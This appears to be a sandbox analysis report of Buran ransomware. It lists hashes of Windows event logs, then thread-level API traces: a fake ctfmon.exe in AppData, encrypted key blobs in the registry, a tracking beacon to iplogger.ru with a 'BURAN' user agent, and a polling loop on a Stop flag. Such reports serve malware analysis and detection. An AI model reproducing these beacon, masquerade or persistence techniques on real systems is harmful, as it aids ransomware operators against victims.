C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx	69.47 KB	MD5: 7dc66f78a1f90630db96dd5764d00041 SHA1: f7c936e1dbde77f87e29c401a7a03f111361ee89 SHA256: e11d99cc03d057d7be770a0a5f19695bdb14011b6ce63549bf14bf642065c74f SSDeep: 1536:H6DISZQW022BBt5Q9EdEclZ5iYZFzKodfqV41z3pGlHGV7pRNfZ2+su:H6DIQQRTBb4DclZ5iAViWpNRNfZdL	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx	2.07 MB	MD5: 0b2121c7e1296462d67c92a0383fe2e8 SHA1: c0f82f32baecf9e3ec9ce3d18cbc5075060a196c SHA256: 092baa8b90f961ab1c3eb7fbd284b7315c0b28c8be572186d34597043bad12aa SSDeep: 3072:yT8ZfIXU4bgUzJCANS7ebOKXQbwkqBYxbJ1OAzLU5vQ4LkTK2JNiHim5WN/jAQgw:U7cPT	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx	2.07 MB	MD5: 876bc38a0a1ecb10072a0db743f1907a SHA1: ae3293b5fe23c8e98dc99249fa64ae4e966351f6 SHA256: ea2cd87779f87c11eb570f93c6e026af90fbf85abde642ca95505fd6263c8147 SSDeep: 6144:juAsvkQyGuBlMcKWLlwOEFzUF9x8baSLLwCg9Jz5o8FycPT9:ils5BNSO2Y8baALSjG8FJ	... File Actions Show Properties Download
C:\Logs\HardwareEvents.evtx	68.00 KB	MD5: 2ee084c48fa2a28cb9464069f37cdbb7 SHA1: d115cbc5e88dd63621adcbebbdbc680765c6799b SHA256: e15f7086edb577f2671e1f020a52d56cc7d878b357bbaabe3e782de0ea94ab30 SSDeep: 3:MgAWl1lH/1EY+qfaltpRTtPl2tVRl/l:Mkf7NijRM	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx	69.47 KB	MD5: 113ae896fd0305a4f28ca7515d44887a SHA1: f3b4a343b6eb88e934af48cb08dab49d8addb89e SHA256: 57d1b7f2ff59312da2a0f607611e292ce2825fc5281fbde4776f467f93a953fe SSDeep: 1536:xjFnpHHk2AX7+wCyqwHw1CfVhIlw2C7fI36fu:xj9pHHkyybQMfVm+Je	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx	68.00 KB	MD5: a98f8b670da2cf2a84726fe8e8d72ae4 SHA1: e6dee1accff693a3bd6ec9c29bf24004c5756058 SHA256: d1480583b6c4b493f4d5fc7b9c85c115e893afb639473c4847aa74984ab4a352 SSDeep: 384:VhM6FDIjFksFkkFkkFkAFk4Fk8FkIFkwFkQFkMFkIFkwFkgFkEFkUFkkFkAFkgF4:VFI2LjjfXbnPvrnP/DTjf/f7rXbb/b	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx	69.47 KB	MD5: ff67a11475494f4d2481a44681c6997f SHA1: 72e14261e8e12907abef137e8e1da9b950ee4e61 SHA256: cde029507eef26f4c39148ece3c7d9c26b4efa3cb1eff2c30d889b7cb74b9803 SSDeep: 1536:Kasuf+iRlrpm4cL57tXNXv0P4gc4hkhb1tEVgL5u:KasumEhpmtL55dGPc4OHEVIw	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	68.00 KB	MD5: 97268b2ef398158044cb001b6851f447 SHA1: 1ec9b3b0bb1aff253c10854196ab2784fc0f80be SHA256: 16af22bafaf0905d333cb1d07e35208e3dfa2b212582b1a747c83dd986f3e277 SSDeep: 96:cdRNVaO8FoUy66eKmDfyPSy66oyP+Guy66rN9:SV7yjeQjDGujo	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	69.47 KB	MD5: b34c829eccf2595606dd89b3f5551b53 SHA1: 923aefba82a73c22012c60f18308b19351788dbc SHA256: d4591ee876f22d0cf79e4995d971c27959befec0a04d864b3d0da9bef45fb673 SSDeep: 1536:8i0f2/0MB/0NRTvifBB1DEIf/WCLf5zx/nCUaZ/WFmBuMSQu:ZsMJ03bifBBZEU/z5N0Z/WFmBuMq	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx	68.00 KB	MD5: 67e9181932f0b8a2eaee43d4223fbf3f SHA1: 4008963dcc1f4ff049cc67c41e843a7eedbfed50 SHA256: 265e78297d11a9d3f24cf80bbf8f26771663232e0ec7d40461b3a807cdef6344 SSDeep: 48:Mtr1pW5lf0rP+AQNRBEZWTENO4bnBnzoMS1Y1/MKrelm1Y1Wgv6lI1Y1/twkKkIh:fRNVaO8FoMSGVMKrRGL7G9UD8xGQVD8	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx	69.47 KB	MD5: d3aaf4b9a6d60d2fdf7f45e66e14c543 SHA1: 68f7e069f34be45ac2dc42047aec05963e77a908 SHA256: a24b566bf2c826bf4e374adf66806c38fdedf683723b389d23bf055a0dee0d43 SSDeep: 1536:tRkDjWdpp90Pd5lCIzV7PoFDDNW9PeOm/Ixb+tMRBl6eB/8ZQPTL/E0Gu:tROCdp/wd5lzVLkDs4Owiagl6sUZQr7p	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx	68.00 KB	MD5: 9d102384ff361742aa4df9fd1be0b5b5 SHA1: e624897bfbdd1d87f0e0c630c55147db77d47981 SHA256: bef5daac5f811565a8873425b37a7f66e7d286bfe8d870c1f79cdfad58b03dbc SSDeep: 48:M+x1WOJlerP+MZQNRBEZWTENO4bpBY5oaeSSZDS9kqkp:eKNVaO8OotSoAkqkp	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx	69.47 KB	MD5: 58bfb99b46169e21ed692ed7c6481811 SHA1: 2641fb2077b09d9b815d60608e917441bc1bccb7 SHA256: 4103fb3b24c4db9f51c1cfc7a4650eb6cdfbba5a7290e3289e61831725b26cff SSDeep: 1536:1Lq7CGenI8pWtP8MNCCaSWYLzL5mmnkRppu:1LBGenNoiMNzWKVkPg	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx	68.00 KB	MD5: 0cabc4dc0cd5862c703dad3d7438ace5 SHA1: 117b7143a1845da1a71a3a2eeb7b4c9d3647d7dc SHA256: 23214f4c011b5f6dcb97021c4a5656cfba4725258114e599a2286d2b98ed3159 SSDeep: 48:MtSWstlerP+MZQNRBEZWTENO4bpBY5oM2oSGrVSGr1TiclBLSGrVSGr1blXrSGrm:AKNVaO8OoE5V51Wo5V5195V51y5V51	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx	69.47 KB	MD5: 76152fe8a82296323d165ef7e89f68f0 SHA1: 6dc9b888a2fe85e4a900343e69f62a84e9dc2773 SHA256: c4770da01f835464e729e2f369339c109a5940a60023b4fdb2fed403013692dd SSDeep: 1536:QxpWRH4utipJ8S912BOYIzZD+MxFhyVlvY4+FrlYu:QxpmH4utifqvSFhyzYHlH	... File Actions Show Properties Download

Threads

Thread 0xd38

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, base_address = 0x400000	1	Fn
Keyboard	Get Info	type = 0, result_out = 4	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.ENU, base_address = 0x0	1	Fn
Module	Load	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, base_address = 0x0	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x74d50000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDiskFreeSpaceExA, address_out = 0x74dbee90	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\oleaut32.dll, base_address = 0x77840000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VariantChangeTypeEx, address_out = 0x7785a610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNeg, address_out = 0x778a52c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNot, address_out = 0x778a6560	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAdd, address_out = 0x7787d610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarSub, address_out = 0x7787e3e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMul, address_out = 0x7787db10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDiv, address_out = 0x778a5800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarIdiv, address_out = 0x778a61a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMod, address_out = 0x778a6400	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAnd, address_out = 0x77873200	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarOr, address_out = 0x778a6610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarXor, address_out = 0x778a67b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCmp, address_out = 0x778660b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarI4FromStr, address_out = 0x77866ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR4FromStr, address_out = 0x77873010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR8FromStr, address_out = 0x77873630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDateFromStr, address_out = 0x77868b90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCyFromStr, address_out = 0x77852d90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBoolFromStr, address_out = 0x778648f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromCy, address_out = 0x77867f50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromDate, address_out = 0x778689c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromBool, address_out = 0x778648a0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = 0, type = REG_SZ	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes, value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ	1	Fn
System	Get Time	type = Performance Ctr, time = 6421704314	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran, size = 1	1	Fn Data
System	Sleep	duration = 100 milliseconds (0.100 seconds)	5	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran	1	Fn
Module	Get Filename	module_name = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN, process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261	1	Fn
Environment	Get Environment String	name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp	1	Fn
System	Get Time	type = Performance Ctr, time = 6479655548	1	Fn
System	Get Time	type = Performance Ctr, time = 6479670719	1	Fn
System	Get Time	type = Performance Ctr, time = 6479680213	1	Fn
System	Get Time	type = Performance Ctr, time = 6479689470	1	Fn
System	Get Time	type = Performance Ctr, time = 6479698622	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran\Service	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Public, data = 0, type = REG_SZ	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Public, data = LUROSfn0Hv/8+TDyTusek0rukhmNx0BlMBySvziS7M5WU/fwCFxgR2shqBp8IgER1g4xXqydyHRjS+l/07SW/mmruLNphuis2R3IuW+dqHPh6ZBc5/Ayu4JzvOrDWsWu7ADkJFSBZlnoF/bY/PSkfa/yMZ1r7fW5XiBd/8muBjKDJo7OEGLmOoQ1LTbN0Gj4mUEFv2svUS6u1FdFrvhktiFO7wCsFPC5qVVLedvXgEKIKc4GctkJ1VMQ5pFN8ggsjU2S0Hw9MEC1rIeIm0WwPPh9PeGREUNXEqKdlaT48WX8yqvhT5vmgWs6qEAZQyFJovHJVoymLFvV7t53CjEjLf5P+9qe2OrAXJJd+pW4UmeHNeKWQMS2gjyl1G17k41V7G5urLMc10bL2Pzj/SqW6g==, type = REG_SZ	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran\Service	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Private, data = 0, type = REG_SZ	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran\Service, value_name = Private, data = ValSjeCt7AMvgThk8Lyh1MCGt0G/mlejfnpJi20g/FbYLXsKVeUh3oJlvT1reyVDuOGBCDBZN+HFZTd7Uz1tvfK8lsJL3XbGhXGbYv83V/5yM6dRVwiRIMSIHQDlPctUIjAPK6nLuTIwMw2FbP4irzclvs8qxmmYn6oe+umKYjZe8bNdsDkZBqJ4RYPWOjGD8x09t1TjSYwDSbJa2OR55pyKdJTU98MjR8FTFzZbzA8b25zZJKPMcGI4idQ7I0EJEEK5bzXArU/mHtWw9E73PnxSLaMZWchvOa60F8t7VpAfWcWnXj7MYqzMS1kHqkFf6L8iOYyAYvJMTnU0bpLRSvubELMz8X5Sb1qA3r1fUH58h8JfKpbDpUGWxWaCZJgyqCHXrvZXkCJzYQaNuQL+azdU7dDXP+A5dk0wCLAd5nVy62oySXfNTbnhi/BPDc37URQkyTBEkI8jlVgcsr+WEhP0Lo3B+O/ZckRVE/QkVEsdQkInHSdw8CHi6SX0HsmT1RkE35mdpYXq+3mXZK4k7mosDzpsdfpJ9RqGWf8Kza96HkEzMFsPG2SGe5Q2keDznHD/0fF4dr/ATfdESBlp1sQNThCuI4LfhH/zjI4Uy3dXQdoOi3R0PD2VCawxTPCzAZQAuNdVdPeM0rj+0W2tDb0ymeE32M3LvyDnYzz7qmSqwfQZvJ0n5fNYWk4cume2yxn1iyEvziiv3xLqGRHN1Ed6gVQ8c3+rHemX+zK1TJjsPQlkehO7nACJVyIlEJk2/cF7gERd6UwGLPE4DE4joRj/y2gp64WCCtDeUiIbjGCGsLo2Iz/dX2c/a8/yRSlmTC1d6sS+nl/l26EqLjzb33LL0z1KN8HaSpYhjq1NXr4RXO9NClq6LuBnGPowzYPgAlMxSKYw8n/dSGsZoxhTqARzueCav4VnRKnjmVqFWdmqh9x/fli0HxPSE3/txcy6XxKngO2oIi1rpXgiIdq3egTiXhSc7Cp5n54P5E+6NXba78sYosTd2Qwo5f78XMv7uR+okTAtlKUTOdU0eiKaFvqRUbpjpdN1m2eX5UQhJWuMFsTt8I591TfeVu2HRSrF/fXQ4/v78QrXJX+0ehOLGl3/pvkPLZDtoXJGWsWxfgEMtjgfWEUOaSlq4ETN2h2BOmn5jmzt1CXJY6b/WzVstgmmjS26wU7rh3xoXHspT6OMBtNKPDT2Uz8VKbTE+wIIMJepD0c+dJYCLKiwC3HM5Cr6WjQV/Zy33Oq4ESSrK0xjsk0VccUzyJ4j4GqueS569xa/MZJwLLPgG04RVojeYdeRD2oC63D9LCRSWicGjHSnbKL3SjgAtUyw+XtJV5y7WT5Ykfh1oz1o+BMNua+30UFwWqQpXx5ClVF2cCKd+CiT3l1+BjEwnSeRy15+R+A41LQFOR2t8ruYYu3DYfzEQVsSq99DRaZDtPd7qdiMzGXFCAXEwPHXoUfXT3XqJXJH2PoYfYdyByoJFuxMrQ+a7gpmbK9R8jJuIiU9lLZi8dVdrML5iFk8PkNb2NXR4LyeFlRxhGekm4mrQIjTTU4Fmwt6ifiryoYUcOsb20Bl6vOPAHUYNyAM7DpdGqcwyQT2uPjbGt71m5C3mn7cMC8fUm4SjWXeFAT5wgfeoZcnLwZBmEF8UkwcrCR8MnRXojshimKqmZzlQjvPHV3iEg2Rzj1x+D4u1pR99Wu7q0cmeCFr2FovCQZgMYxJ/onFVTZPy8e2KQ==, type = REG_SZ	1	Fn
System	Get Time	type = Performance Ctr, time = 6480512872	1	Fn
System	Get Time	type = Performance Ctr, time = 6480530859	1	Fn
System	Get Time	type = Performance Ctr, time = 6480540778	1	Fn
System	Get Time	type = Performance Ctr, time = 6480549813	1	Fn
System	Get Time	type = Performance Ctr, time = 6480558730	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Knock, type = REG_NONE	1	Fn
Inet	Open Session	access_type = INTERNET_OPEN_TYPE_PRECONFIG	1	Fn
Inet	Open Connection	protocol = HTTP, server_name = iplogger.ru, server_port = 80	1	Fn
Inet	Open HTTP Request	http_verb = GET, http_version = HTTP 1.1, target_resource = http://iplogger.info/1jqu87.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY	1	Fn
Inet	Add HTTP Request Headers	headers = Host: iplogger.ru User-Agent: BURAN Referer: E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
Inet	Send HTTP Request	headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/http://iplogger.info/1jqu87.html	1	Fn
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 3571	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4093	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	2	Fn Data
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4085	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4097	1	Fn Data
Inet	Read Response	size = 4097, size_out = 4089	1	Fn Data
Inet	Read Response	size = 4097, size_out = 875	1	Fn Data
Inet	Read Response	size = 4097, size_out = 0	1	Fn
Inet	Close Session	-	1	Fn
Inet	Close Session	-	1	Fn
Inet	Close Session	-	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Knock, data = 666, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Environment	Get Environment String	name = ALLUSERSPROFILE, result_out = C:\ProgramData	1	Fn
Environment	Get Environment String	name = APPDATA, result_out = C:\Users\FD1HVy\AppData\Roaming	1	Fn
Environment	Get Environment String	name = WINDIR, result_out = C:\WINDOWS	1	Fn

Thread 0xd64

15768

Category	Operation	Information	Count	Logfile
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
